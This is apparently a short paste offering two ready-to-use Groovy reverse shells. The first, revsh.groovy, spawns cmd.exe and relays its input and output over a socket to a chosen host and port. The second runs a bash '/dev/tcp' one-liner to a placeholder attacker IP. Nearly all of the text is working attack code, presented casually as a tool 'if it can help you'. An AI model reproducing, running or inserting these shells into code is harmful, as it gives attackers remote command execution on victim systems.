Pure Groovy/Java Reverse Shell

revsh.groovy

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

This script works is an alternative that works well if it can help you ^_^

String host="Your_IP"
int port=1234
String cmd="bash -i >& /dev/tcp/${host}/${port} 0>&1"
Runtime.getRuntime().exec(["/bin/bash", "-c", cmd] as String[])